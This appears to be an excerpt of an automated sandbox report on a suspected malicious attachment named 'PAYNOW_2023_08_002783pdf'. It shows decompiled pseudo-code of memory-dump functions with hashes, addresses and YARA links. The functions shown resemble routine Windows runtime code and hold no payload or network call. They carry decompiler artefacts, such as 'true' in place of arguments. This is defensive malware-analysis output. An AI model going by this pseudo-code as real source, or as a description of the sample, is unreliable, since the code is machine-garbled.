Instruction ID: 7deb7769c4bb29306b1ca67dbc943d1d043b85e4d919cc739d306a107102043a
Opcode Fuzzy Hash: 3a330ed7ea655d71dd4bed34469b5c9d3971825b19a448a40de0f01e8c52a13d
Instruction Fuzzy Hash: 7421C2752017049FE719CF55C440B96BBE9FF85366F15826EE4068B790EB71EC01CB98

Uniqueness

Uniqueness Score: -1.00%

Function 3354B781 Relevance: .1, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E3354B781(intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t26;
				intOrPtr* _t32;
				intOrPtr* _t34;
				void* _t36;
				void* _t38;
				void* _t39;

				_v8 = _v8 & 0x00000000;
				_t32 = _a12;
				_v12 = __edx;
				_v16 = __ecx;
				if(_t32 != 0) {
					_t38 =  *_t32 + 0xc;
					_t36 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t38);
					if(_t36 != 0) {
						_t39 =  *0x33447350(_v16, _v12, "true", _t36, _t38,  &_v8);
						if(_t39 < 0) {
							L12:
							if(_t39 == 0x80000005 || _t39 == 0xc0000023) {
								L14:
								_t39 = 0xc0000023;
								 *_t32 =  *((intOrPtr*)(_t36 + 8));
								goto L15;
							} else {
								L15:
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
								return _t39;
							}
						}
						_t26 =  *((intOrPtr*)(_t36 + 8));
						if(_t26 != 0) {
							if(_t26 >  *_t32) {
								goto L14;
							}
							 *_t32 = _t26;
							if(_a8 != 0) {
								_t12 = _t36 + 0xc; // 0xc
								L334B88C0(_a8, _t12, _t26);
							}
							_t34 = _a4;
							if(_t34 != 0) {
								 *_t34 =  *((intOrPtr*)(_t36 + 4));
							}
							goto L12;
						}
						_t39 = 0xc000000d;
						goto L15;
					}
					return 0xc000009a;
				}
				return 0xc000000d;
			}

0x3354b789
0x3354b78e
0x3354b791
0x3354b794
0x3354b79b
0x3354b7af
0x3354b7bd
0x3354b7c1
0x3354b7de
0x3354b7e2
0x3354b81a
0x3354b820
0x3354b82a
0x3354b82d
0x3354b832
0x00000000
0x3354b834
0x3354b834
0x3354b840
0x00000000
0x3354b845
0x3354b820
0x3354b7e4
0x3354b7e9
0x3354b7f4
0x00000000
0x00000000
0x3354b7fa
0x3354b7fc
0x3354b7ff
0x3354b806
0x3354b80b
0x3354b80e
0x3354b813
0x3354b818
0x3354b818
0x00000000
0x3354b813
0x3354b7eb
0x00000000
0x3354b7eb
0x00000000
0x3354b7c3
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66cab08a56de94d6387642501a30a307b84bc887fb8b5e60aeb8f7560f2ec99d
Instruction ID: d8afe301b4c2d736b6a9ee116a133fb5f75d246470a4b23fa5561c076e14a71f
Opcode Fuzzy Hash: 66cab08a56de94d6387642501a30a307b84bc887fb8b5e60aeb8f7560f2ec99d
Instruction Fuzzy Hash: C621FF7AA00211EFEB158F59E884F4ABBB8EF45794F058468E884AB200E730DD01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 33492755 Relevance: .1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E33492755(signed int __edx) {
				void* _t14;
				char* _t17;
				signed char* _t27;
				void* _t31;
				signed int _t35;
				signed char* _t37;
				char* _t39;

				_t35 = __edx;
				_t14 = L33483C40();
				_t39 = 0x7ffe0384;
				if(_t14 != 0) {
					_t17 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t17 = 0x7ffe0384;
				}
				_t37 = 0x7ffe0385;
				if( *_t17 != 0) {
					if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
						if(L33483C40() == 0) {
							_t27 = 0x7ffe0385;
						} else {
							_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t27 & 0x00000020) != 0) {
							E334F0227(0x1480, _t35, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				_t31 = L3347FED0(0x33563390);
				if(L33483C40() != 0) {
					_t39 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t39 != 0) {
					if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
						if(L33483C40() != 0) {
							_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t37 & 0x00000020) != 0) {
							E334F0227(0x1481, _t35 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				return _t31;
			}

0x33492755
0x3349275a
0x3349275f
0x33492766
0x334dab65
0x3349276c
0x3349276c
0x3349276c
0x33492771
0x33492776
0x334dab7c
0x334dab89
0x334dab9b
0x334dab8b
0x334dab94
0x334dab94
0x334daba0
0x334dabb6
0x334dabb6
0x334daba0
0x334dab7c
0x33492786
0x3349278f
0x334dabca
0x334dabca
0x33492798
0x334dabe2
0x334dabef
0x334dabfa
0x334dabfa
0x334dac03
0x334dac19
0x334dac19
0x334dac03
0x334dabe2
0x334927a3

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e0201dfc559c8b3f75f36f3084362caff10332ac350b86b112734e55970a417
Instruction ID: 02faf7fb3e5550a29a1c176019c417a6f41777d347fd83e468acbedfb6edeb2a
Opcode Fuzzy Hash: 7e0201dfc559c8b3f75f36f3084362caff10332ac350b86b112734e55970a417
Instruction Fuzzy Hash: 7D21FC79B557949FF312472C8C54F543BA99B45B74F2D03E4E530AF7D2DB688801821C

Uniqueness

Uniqueness Score: -1.00%

Function 334AA22B Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E334AA22B(void* __ecx, void* __edx) {
				char _v8;
				void* _t22;
				void* _t47;
				intOrPtr* _t51;
				short* _t55;

				_push(__ecx);
				if( *0x3356680c != 0) {
					L4:
					_t22 = 1;
					L5:
					return _t22;
				}
				_t55 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x20);
				if(_t55 == 0) {
					L7:
					_t22 = 0;
					goto L5;
				}
				_push(0);
				if(E334AA2E0( &_v8, 0x33564790) < 0) {
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					goto L7;
				}
				_t51 =  *((intOrPtr*)(_v8 + 0x10)) + _v8;
				_t47 =  *_t51 + _t51;
				 *_t55 =  *((intOrPtr*)(_t47 + 0x18));
				 *((short*)(_t55 + 4)) =  *((intOrPtr*)(_t47 + 0x16));
				 *((short*)(_t55 + 2)) =  *((intOrPtr*)(_t47 + 0x20));
				 *((short*)(_t55 + 0x1c)) =  *((intOrPtr*)(_t47 + 0x1a));
				 *((intOrPtr*)(_t55 + 8)) =  *((intOrPtr*)(_t47 + 0x1c)) + _t51;
				 *((intOrPtr*)(_t55 + 0xc)) =  *((intOrPtr*)(_t47 + 0x24)) + _t51;
				 *((intOrPtr*)(_t55 + 0x10)) =  *((intOrPtr*)(_t47 + 0x28)) + _t51;
				 *((intOrPtr*)(_t55 + 0x14)) =  *((intOrPtr*)(_t47 + 0x38)) + _t51;
				asm("lock cmpxchg [edx], ecx");
				if(0 != 0) {
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
				}
				goto L4;
			}

0x334aa230
0x334aa239
0x334aa2d3
0x334aa2d3
0x334aa2d5
0x334aa2d7
0x334aa2d7
0x334aa251
0x334aa255
0x334e63d0
0x334e63d0
0x00000000
0x334e63d0
0x334aa25b
0x334aa26d
0x334e63cb
0x00000000
0x334e63cb
0x334aa279
0x334aa27d
0x334aa283
0x334aa28a
0x334aa292
0x334aa29a
0x334aa2a3
0x334aa2ab
0x334aa2b3
0x334aa2c2
0x334aa2c7
0x334aa2cd
0x334e63e3
0x334e63e3
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29eb5696093dc9b7e9fe989f409be6d8cfe0ed3186a0cabb0573484488f3c2a3
Instruction ID: be46bf1dce12ad21aa6bc9fcf8d0b922349423b48da00d0477d1460fb83c5e3c
Opcode Fuzzy Hash: 29eb5696093dc9b7e9fe989f409be6d8cfe0ed3186a0cabb0573484488f3c2a3
Instruction Fuzzy Hash: 79217C796017409FC725DF29C800B4677F5AF48B48F14846CE519CBB52E731E853CB98

Uniqueness

Uniqueness Score: -1.00%

Function 3346B705 Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E3346B705(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t34;
				intOrPtr _t38;
				intOrPtr _t42;
				intOrPtr* _t47;
				void* _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr* _t61;
				void* _t62;
				intOrPtr _t65;
				intOrPtr _t69;
				void* _t70;
				void* _t73;

				_push(0xc);
				_push(0x3354bab8);
				E334C7BE4(__ebx, __edi, __esi);
				_t69 = __ecx;
				 *((intOrPtr*)(_t73 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E334B2A80();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t69 + 0x28)));
				E334B2A80();
				_t34 =  *0x33566644; // 0x0
				E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t34 + 0xc0000,  *((intOrPtr*)(_t69 + 0x10)));
				_t38 =  *0x33566644; // 0x0
				E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000,  *((intOrPtr*)(_t69 + 0x1c)));
				_t42 =  *0x33566644; // 0x0
				L33482330(E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t42 + 0xc0000,  *((intOrPtr*)(_t69 + 0x20))), 0x33566884);
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				_t47 = _t69 + 0xe8;
				_t65 =  *_t47;
				_t61 =  *((intOrPtr*)(_t47 + 4));
				if( *((intOrPtr*)(_t65 + 4)) != _t47 ||  *_t61 != _t47) {
					_push("true");
					_pop(_t62);
					asm("int 0x29");
					_push(_t69);
					_t70 = _t62;
					_push( *(_t70 + 0x14));
					E334B2A80();
					_push( *(_t70 + 0x10));
					 *(_t70 + 0x38) =  *(_t70 + 0x38) & 0x00000000;
					_t49 = E334B2A80();
					 *(_t70 + 0x14) =  *(_t70 + 0x14) & 0x00000000;
					 *(_t70 + 0x10) =  *(_t70 + 0x10) & 0x00000000;
					return _t49;
				} else {
					 *_t61 = _t65;
					 *((intOrPtr*)(_t65 + 4)) = _t61;
					 *(_t73 - 4) = 0xfffffffe;
					E3346B7F4();
					_t51 =  *0x33566644; // 0x0
					_t54 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t51 + 0xc0000, _t69);
					 *[fs:0x0] =  *((intOrPtr*)(_t73 - 0x10));
					return _t54;
				}
			}

0x3346b705
0x3346b707
0x3346b70c
0x3346b711
0x3346b713
0x3346b71a
0x3346b71c
0x3346b71f
0x3346b724
0x3346b724
0x3346b72b
0x3346b736
0x3346b73b
0x3346b73e
0x3346b743
0x3346b75a
0x3346b75f
0x3346b776
0x3346b77b
0x3346b79c
0x3346b7a1
0x3346b7a5
0x3346b7ab
0x3346b7ad
0x3346b7b3
0x3346b7ff
0x3346b801
0x3346b802
0x3346b806
0x3346b807
0x3346b809
0x3346b80c
0x3346b811
0x3346b814
0x3346b818
0x3346b81d
0x3346b821
0x3346b826
0x3346b7b9
0x3346b7b9
0x3346b7bb
0x3346b7be
0x3346b7c5
0x3346b7cb
0x3346b7df
0x3346b7e7
0x3346b7f3
0x3346b7f3

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f0e969fe06f6eab6163f3fee5ac598d7819212c98af0bb69661ca84e133c22
Instruction ID: 8246633fe817404cb2688b62ac73445fdbf827d8ea43a8379fde6bcc0eb8eb08
Opcode Fuzzy Hash: b4f0e969fe06f6eab6163f3fee5ac598d7819212c98af0bb69661ca84e133c22
Instruction Fuzzy Hash: 82217A72501A00DFC725DF59C940F59B7F9FF08708F14456CE0169BA61DB75E802CB98

Uniqueness

Uniqueness Score: -1.00%

Function 334A0044 Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E334A0044(intOrPtr __ecx, intOrPtr* _a4) {
				char _v8;
				char _v12;
				void* _t20;
				intOrPtr _t32;
				signed int _t35;
				void* _t39;
				void* _t41;
				intOrPtr* _t44;

				_push(__ecx);
				_push(__ecx);
				_t41 = 0;
				_t32 = __ecx;
				if( *_a4 != 0) {
					L8:
					_t20 = _t41;
					L9:
					return _t20;
				}
				if(__ecx <= 1) {
					_t32 = 0x25;
				}
				_t35 = 0x10;
				_t2 = _t32 - 1; // 0x24
				_t20 = L334A4CF8( &_v12, _t2 * _t35, _t2 * _t35 >> 0x20);
				if(_t20 < 0) {
					goto L9;
				} else {
					_t37 = _v12;
					_push( &_v8);
					_t39 = 0x34;
					_t41 = E334694A3(_v12, _t39);
					if(_t41 >= 0) {
						_t44 = L33485D90(_t37,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
						if(_t44 == 0) {
							_t41 = 0xc0000017;
						} else {
							L334B8F40(_t44, 0, _v8);
							 *((intOrPtr*)(_t44 + 0x2c)) = _t32;
							_t14 = _t44 + 0xc; // 0xc
							E334AB440(0x3fff, 0x80000008, _t14);
							 *(_t44 + 8) =  *(_t44 + 8) & 0x00000000;
							 *_t44 = 0x6d6f7441;
							 *((intOrPtr*)(_t44 + 4)) = 1;
							 *_a4 = _t44;
						}
					}
					goto L8;
				}
			}

0x334a0049
0x334a004a
0x334a0050
0x334a0052
0x334a0056
0x334a00e4
0x334a00e4
0x334a00e6
0x334a00e9
0x334a00e9
0x334a005f
0x334a0063
0x334a0063
0x334a0066
0x334a0067
0x334a0071
0x334a0078
0x00000000
0x334a007a
0x334a007a
0x334a0080
0x334a0083
0x334a0089
0x334a008d
0x334a00a3
0x334a00a7
0x334a00ec
0x334a00a9
0x334a00af
0x334a00b7
0x334a00ba
0x334a00c8
0x334a00d0
0x334a00d4
0x334a00da
0x334a00e1
0x334a00e1
0x334a00e3
0x00000000
0x334a008d

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 890f1da43df6bf821c9fa0e63626150f351daea58c3e7afc6d4a7f240fe17a3e
Instruction ID: 85c4b89b5412ec42b7a2b64b7ced0650d31de5f4c237e4c1b914ca2c0c7ee408
Opcode Fuzzy Hash: 890f1da43df6bf821c9fa0e63626150f351daea58c3e7afc6d4a7f240fe17a3e
Instruction Fuzzy Hash: 1C110473A00704BFE7128F48E840F9E7BBCEB94754F14402AEA009F240D675ED45D768

Uniqueness

Uniqueness Score: -1.00%

Function 33478690 Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E33478690(void* __ecx, intOrPtr __edx, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _t15;
				intOrPtr* _t24;
				intOrPtr* _t27;
				intOrPtr* _t28;
				intOrPtr _t29;
				void* _t31;
				intOrPtr* _t36;

				_t29 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t36 = 0;
				_v8 = __edx;
				_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_t24 = 0;
				_t31 = __ecx;
				if(_t15 != 0) {
					_t24 = _t15 + 0x7e0;
					if(_t24 == 0 ||  *((intOrPtr*)(_t24 + 0x30)) == 0) {
						_t24 = _t36;
					}
				}
				if(_t29 == 0) {
					L10:
					return _t36;
				} else {
					_t27 = _a4;
					if(_t27 == 0 || _t24 == 0) {
						goto L10;
					} else {
						if(_t31 == 0) {
							 *_t27 =  *_t24;
							 *((intOrPtr*)(_t27 + 4)) =  *((intOrPtr*)(_t24 + 4));
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							L9:
							_t36 = 1;
							goto L10;
						}
						if(_t31 != 1) {
							goto L10;
						}
						L334753C0(0x3356689c);
						_t28 = _a4;
						asm("movsd");
						 *_t28 =  *_t24;
						 *((intOrPtr*)(_t28 + 4)) =  *((intOrPtr*)(_t24 + 4));
						asm("movsd");
						asm("movsd");
						asm("movsd");
						E334752F0(_t28, 0x3356689c);
						goto L9;
					}
				}
			}

0x33478690
0x33478695
0x33478696
0x3347869f
0x334786a1
0x334786a4
0x334786aa
0x334786ad
0x334786b1
0x334786b3
0x334786bb
0x33478726
0x33478726
0x334786bb
0x334786c4
0x33478708
0x3347870e
0x334786c6
0x334786c6
0x334786cb
0x00000000
0x334786d1
0x334786d3
0x33478718
0x3347871d
0x33478720
0x33478721
0x33478722
0x33478723
0x33478705
0x33478707
0x00000000
0x33478707
0x334786d8
0x00000000
0x00000000
0x334786df
0x334786ea
0x334786f4
0x334786f5
0x334786fa
0x334786fd
0x334786fe
0x334786ff
0x33478700
0x00000000
0x33478700
0x334786cb

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4b0c7e271a0069aa8d3f635eb4a6ae6d8f7a7b493bdb95410217aad774ce4cd
Instruction ID: a1417cf0089ee11ad7a8cb5425387f9ce242c6b7427a8b5be21dc6dbd4c7e100
Opcode Fuzzy Hash: d4b0c7e271a0069aa8d3f635eb4a6ae6d8f7a7b493bdb95410217aad774ce4cd
Instruction Fuzzy Hash: D11108797017209FCB01CF88C9C09DA77E5EF46791B4880A9EC19DF301D6B2E9018B84

Uniqueness

Uniqueness Score: -1.00%

Function 33473640 Relevance: .1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E33473640(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				char _v44;
				char _v48;
				void* __edi;
				void* __esi;
				signed int _t47;
				void* _t54;
				signed int _t55;
				signed int _t60;
				intOrPtr _t62;
				void* _t63;
				signed int _t64;

				_v8 =  *0x3356b370 ^ _t64;
				_t62 = _a8;
				L334753C0(0x335667d4);
				_t55 = _a4;
				_t47 = _t55 & 0x00000100;
				if(_t47 != 0) {
					_v44 = 5;
				}
				_t60 = 0 | _t47 != 0x00000000;
				if((_t55 & 0x00000200) != 0) {
					 *(_t64 + _t60 * 4 - 0x28) = 1;
					_t60 = _t60 + 1;
				}
				if((_t55 & 0x00000400) != 0) {
					 *(_t64 + _t60 * 4 - 0x28) = 6;
					_t60 = _t60 + 1;
					if( *0x33566610 != 0) {
						 *(_t64 + _t60 * 4 - 0x28) =  *(_t64 + _t60 * 4 - 0x28) & 0x00000000;
						_t60 = _t60 + 1;
					}
				}
				if((_t55 & 0x00004800) != 0) {
					 *(_t64 + _t60 * 4 - 0x28) = 7;
					_t60 = _t60 + 1;
				}
				if(( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x20000000) == 0) {
					L11:
					_v48 = 0;
					goto L12;
				} else {
					_v48 = 1;
					if((_t55 & 0x00000800) != 0) {
						L12:
						if( *0x33564ff8 != 0) {
							 *(_t64 + _t60 * 4 - 0x28) = 8;
							_t60 = _t60 + 1;
						}
						_t63 = L33472EE8( &_v44, _t60, _t62, _v48);
						E334752F0( &_v44, 0x335667d4);
						if(_t63 != 0) {
							 *((char*)(_t63 + 0x48)) = 1;
						}
						return E334B4B50(_t63, _t54, _v8 ^ _t64, _t60, 0x335667d4, _t63);
					}
					goto L11;
				}
			}

0x3347364f
0x33473653
0x3347365d
0x33473662
0x33473667
0x3347366c
0x3347366e
0x3347366e
0x33473679
0x33473682
0x33473684
0x3347368c
0x3347368c
0x33473693
0x33473695
0x3347369d
0x334736a6
0x334736a8
0x334736ad
0x334736ad
0x334736a6
0x334736b4
0x334736b6
0x334736be
0x334736be
0x334736cf
0x334736dd
0x334736dd
0x00000000
0x334736d1
0x334736d1
0x334736db
0x334736e1
0x334736e9
0x334736eb
0x334736f3
0x334736f3
0x33473701
0x33473703
0x3347370a
0x3347370c
0x3347370c
0x3347371f
0x3347371f
0x00000000
0x334736db

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3c6f3ab1c2ffbd925aece3ac249ded9562f84e5d6044a416024ea07ff5be900
Instruction ID: f7aedde8afbf96e6e76452a213ccad8639645676a332dfd5308ede89985575c2
Opcode Fuzzy Hash: e3c6f3ab1c2ffbd925aece3ac249ded9562f84e5d6044a416024ea07ff5be900
Instruction Fuzzy Hash: 4621F9B5A012098BEB21DF69C4447EEB7B4FF88318F19805CD922573E0DBB89955C798

Uniqueness

Uniqueness Score: -1.00%

Function 33478009 Relevance: .1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E33478009(signed int* __ecx) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _t25;
				intOrPtr _t29;
				intOrPtr* _t33;
				intOrPtr _t37;
				intOrPtr _t40;
				intOrPtr* _t41;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t47;
				intOrPtr _t50;

				_t45 =  *[fs:0x18];
				_v28 = __ecx;
				 *__ecx =  *__ecx & 0x00000000;
				_t25 =  *0x33566644; // 0x0
				_v24 = _t45;
				_t29 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x002c0000 | 0x00000008, 0x60);
				_t40 = _t29;
				_v20 = _t40;
				if(_t40 == 0) {
					 *(_t45 + 0xf90) =  *(_t45 + 0xf90) & 0x00000000;
					return _t29;
				}
				 *(_t40 + 4) =  *(_t40 + 4) | 0x00000003;
				_t41 = 0x7ffe03b0;
				while(1) {
					_v12 =  *((intOrPtr*)(_t41 + 4));
					_v8 =  *_t41;
					while(1) {
						_t44 =  *0x7FFE000C;
						_t50 =  *0x7FFE0008;
						if(_t44 ==  *0x7ffe0010) {
							break;
						}
						asm("pause");
					}
					_t37 = _v12;
					_t41 = 0x7ffe03b0;
					_t47 =  *0x7FFE03B4;
					if(_v8 !=  *0x7ffe03b0 || _t37 != _t47) {
						asm("pause");
						continue;
					} else {
						_t43 = _v20;
						_t33 = _v28;
						asm("sbb edx, ebx");
						 *((intOrPtr*)(_t43 + 0x10)) = _t50 - _v8;
						 *((intOrPtr*)(_t43 + 0x14)) = _t44;
						 *((intOrPtr*)(_v24 + 0xf90)) = _t43;
						 *_t33 = _t43;
						return _t33;
					}
				}
			}

0x33478014
0x3347801b
0x3347801e
0x33478021
0x3347802b
0x3347803d
0x33478042
0x33478044
0x33478049
0x334780b1
0x00000000
0x334780b1
0x3347804b
0x3347804f
0x33478056
0x33478060
0x33478063
0x3347806c
0x3347806c
0x3347806e
0x33478074
0x00000000
0x00000000
0x33478076
0x33478076
0x3347807a
0x3347807d
0x33478084
0x3347808a
0x334780ba
0x00000000
0x33478090
0x33478090
0x33478099
0x3347809c
0x3347809e
0x334780a1
0x334780a5
0x334780ab
0x00000000
0x334780ad
0x3347808a

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02e6ac21a6147c266a27d8441946354440697ec41f6efed690bca3c35d2ac71a
Instruction ID: 1b9e683b9e50bfeb05c763d88ea04047a711886b03fcd6808942ae8f17e6093b
Opcode Fuzzy Hash: 02e6ac21a6147c266a27d8441946354440697ec41f6efed690bca3c35d2ac71a
Instruction Fuzzy Hash: 8D216875A00345DFCB04CF98C581AAABBF6FF88319F25816DD114AB310CB71AD02CB90

Uniqueness

Uniqueness Score: -1.00%

Function 334A666D Relevance: .1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E334A666D(intOrPtr __ecx) {
				signed int _v8;
				signed int _t23;
				signed int _t24;
				signed int _t38;
				signed int _t41;
				signed int _t42;
				intOrPtr _t44;
				intOrPtr _t47;

				_push(__ecx);
				_t47 =  *[fs:0x30];
				_t44 = __ecx;
				_t41 =  *(_t47 + 0x88);
				_t38 = ( *0x33566624 & 0x0000ffff) + _t41;
				if(_t38 >= 0xfffe) {
					L4:
					return _t23;
				}
				_t24 =  *(_t47 + 0x8c);
				if(_t38 == _t24) {
					 *(_t47 + 0x8c) = _t24 + _t24;
					_t23 = L33485D90(_t41,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t24 + _t24 << 2);
					_t42 = _t23;
					_v8 = _t42;
					if(_t42 == 0) {
						 *(_t47 + 0x8c) = _t38;
						goto L4;
					}
					L334B88C0(_t42,  *(_t47 + 0x90),  *(_t47 + 0x88) << 2);
					_t31 =  *(_t47 + 0x90);
					if( *(_t47 + 0x90) != 0x33564840) {
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
					}
					_t41 =  *(_t47 + 0x88);
					 *(_t47 + 0x90) = _v8;
				}
				 *((intOrPtr*)( *(_t47 + 0x90) + _t41 * 4)) = _t44;
				 *(_t47 + 0x88) =  *(_t47 + 0x88) + 1;
				_t23 =  *(_t47 + 0x88) & 0x0000ffff;
				if( *((intOrPtr*)(_t44 + 8)) == 0xddeeddee) {
					 *(_t44 + 0x14) = _t23;
				} else {
					 *(_t44 + 0x7c) = _t23;
				}
				goto L4;
			}

0x334a6672
0x334a6675
0x334a6684
0x334a6686
0x334a668c
0x334a6694
0x334a66c3
0x334a66c7
0x334a66c7
0x334a6696
0x334a669e
0x334a66ca
0x334a66df
0x334a66e4
0x334a66e6
0x334a66eb
0x334a672b
0x00000000
0x334a672b
0x334a66fe
0x334a6703
0x334a6711
0x334e4173
0x334e4173
0x334a671a
0x334a6720
0x334a6720
0x334a66a6
0x334a66a9
0x334a66b6
0x334a66bd
0x334a6733
0x334a66bf
0x334a66bf
0x334a66bf
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

